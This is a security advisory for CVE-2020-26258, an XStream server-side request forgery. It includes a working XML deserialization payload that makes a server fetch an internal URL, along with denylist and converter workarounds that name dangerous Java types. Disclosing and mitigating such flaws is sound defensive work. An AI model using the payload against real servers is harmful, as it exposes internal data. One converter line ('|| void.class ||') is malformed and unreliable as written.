## Vulnerability

CVE-2020-26258: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams from an arbitrary URL referencing a resource in an intranet or the local host.

## Affected Versions

All versions until and including version 1.4.14 are affected running in a Java environment below Java 15, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist.

## Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in a server-side forgery request.

## Steps to Reproduce

Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

    <map>
      <entry>
        <jdk.nashorn.internal.objects.NativeString>
          <flags>0</flags>
          <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
            <dataHandler>
              <dataSource class='javax.activation.URLDataSource'>
                <url>http://localhost:8080/internal/:</url>
              </dataSource>
              <transferFlavors/>
            </dataHandler>
            <dataLen>0</dataLen>
          </value>
        </jdk.nashorn.internal.objects.NativeString>
        <string>test</string>
      </entry>
    </map>

    XStream xstream = new XStream();
    xstream.fromXML(xml);

As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.

Note, this example uses XML, but the attack can be performed for any supported format, e.g. JSON.

## Impact

The vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream.

## Workaround

As recommended, use XStream's security framework to implement a whitelist for the allowed types.

Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can simply add two lines to XStream's setup code:

    xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" });
    xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });

Users of XStream 1.4.13 who want to use XStream default blacklist can simply add three lines to XStream's setup code:

    xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
    xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
    xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });

Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from scratch and deny at least the following types: javax.imageio.ImageIO$ContainsFilter, java.beans.EventHandler, java.lang.ProcessBuilder, jdk.nashorn.internal.objects.NativeString, java.lang.Void and void and deny several types by name pattern.

    xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
    xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
    xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator", "javax\\.crypto\\..*", ".*\\.ReadAllStream\\$FileStream" });

Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:

    xstream.registerConverter(new Converter() {
      public boolean canConvert(Class type) {
        return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class
            || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("jdk.nashorn.internal.objects.NativeString")
            || type == java.lang.Void.class || void.class || Proxy.isProxy(type)
            || type.getName().startsWith("javax.crypto.") || type.getName().endsWith("$LazyIterator") || type.getName().endsWith(".ReadAllStream$FileStream"));
      }

      public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
        throw new ConversionException("Unsupported type due to security reasons.");
      }

      public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
        throw new ConversionException("Unsupported type due to security reasons.");
      }
    }, XStream.PRIORITY_VERY_HIGH);

## Credits

钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.